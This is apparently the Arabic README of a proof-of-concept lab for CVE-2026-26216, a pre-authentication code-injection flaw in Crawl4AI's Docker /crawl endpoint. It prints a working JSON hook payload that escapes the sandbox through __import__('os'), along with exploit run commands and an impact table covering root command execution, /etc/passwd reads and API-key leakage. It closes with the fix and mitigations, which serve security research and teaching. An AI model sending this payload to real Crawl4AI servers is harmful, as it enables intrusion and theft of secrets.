
استغلال لإثبات المفهوم (Proof-of-concept) لثغرة CVE-2026-26216، يوضح تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر حقن خطاف (hook injection) في نشر Crawl4AI باستخدام Docker. يتضمن بيئة مختبرية ضعيفة (قابلة للاستغلال).
hooks (GHSA-5882-5rx9-xgxp)CVSS 10.0 · RCE قبل المصادقة · CWE-94 (حقن كود) تنفيذ أوامر عن بُعد غير مصادق عليه على خادم Docker الخاص بـ Crawl4AI (< 0.8.0)، عبر إساءة استغلال معامل
hooksفي نقطة النهايةPOST /crawl. طلب JSON واحد في POST ينفّذ Python بصلاحيات root داخل الحاوية.
هذه PoC مخبرية، قائمة بذاتها وقابلة لإعادة الإنتاج، لأغراض البحث الأمني والتعليم.
نقطة النهاية POST /crawl تقبل كود Python اعتباطيًا في الحقل
hooks.code.<evento>. يُنفَّذ هذا الكود عبر exec() داخل «صندوق رمل منزلي» — قاموس مقيّد من الدوال المدمجة. لكن __import__ تُركت في القائمة البيضاء، مما يتيح __import__('os').system(...) ويهزم الصندوق الرمل بأكمله.
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
بما أن النشر الرسمي يعمل مع JWT معطل افتراضيًا والحاوية تعمل بصلاحيات root، فإن النتيجة هي RCE بصلاحيات root قبل المصادقة.
يبدو أن الصندوق الرمل يعمل: تمت إزالة open وeval وexec، لذا فإن الهجوم الساذج (open('/etc/passwd')) محجوب. وهذا يخلق إحساسًا زائفًا بالأمان. لكن يكفي دالة مدمجة واحدة خطرة منسية (__import__) لاستيراد المكتبة القياسية بأكملها (os, subprocess, socket) وتصبح القائمة البيضاء ديكورًا. القائمة البيضاء للدوال المدمجة ليست صندوق رمل.
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
ملاحظة حول الدقة.
vulnerable-app/هي استنساخ مصغّر لمسار الكود الضعيف في Crawl4AI (لا يفتح Chromium/Playwright)، لتكون الـ PoC خفيفة وقابلة لإعادة الإنتاج 100%. سلوك الصندوق الرمل وبنية الحمولة يعكسان النشرة الرسمية GHSA-5882-5rx9-xgxp. السطر الضعيف معلَّم فيvulnerable-app/hook_manager.py.
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
| # | الإجراء | التأثير |
|---|---|---|
| 1 | open('/etc/passwd') مباشرة | محجوب بواسطة الصندوق الرمل (أمان زائف) |
| 2 | __import__('subprocess') + id/whoami | RCE بصلاحيات root |
| 3 | cat /etc/passwd عبر الصدفة | قراءة عشوائية للملفات |
| 4 | env | grep KEY | تسريب مفاتيح API / الرموز |
| 5 | echo ... > /tmp/PWNED | كتابة عشوائية للملفات |
من هنا: انطلاق إلى الشبكة الداخلية، سرقة بيانات اعتماد السحابة، استمرارية، إلخ.
OPENAI_API_KEY والرموز الداخلية وأسرار الحاوية.كل ذلك بدون مصادقة.
تم إصلاحها في Crawl4AI 0.8.0:
__import__ (وeval/exec/open) أُزيلت من الدوال المدمجة المسموح بها.CRAWL4AI_HOOKS_ENABLED=true.تخفيفات عامة:
crawl4ai >= 0.8.0.مادة لأغراض البحث الأمني المصرّح به والتعليم. استخدمها فقط على أنظمة تملكها أو لديك إذن صريح كتابي لاختبارها.